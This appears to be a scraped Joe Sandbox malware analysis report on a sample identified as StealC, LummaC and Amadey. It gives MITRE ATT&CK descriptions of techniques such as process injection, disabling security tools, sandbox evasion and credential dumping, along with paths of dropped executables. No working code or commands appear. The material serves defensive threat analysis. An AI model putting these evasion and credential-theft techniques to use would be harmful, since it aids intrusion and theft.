Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\da69a13142.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe

C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe

C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre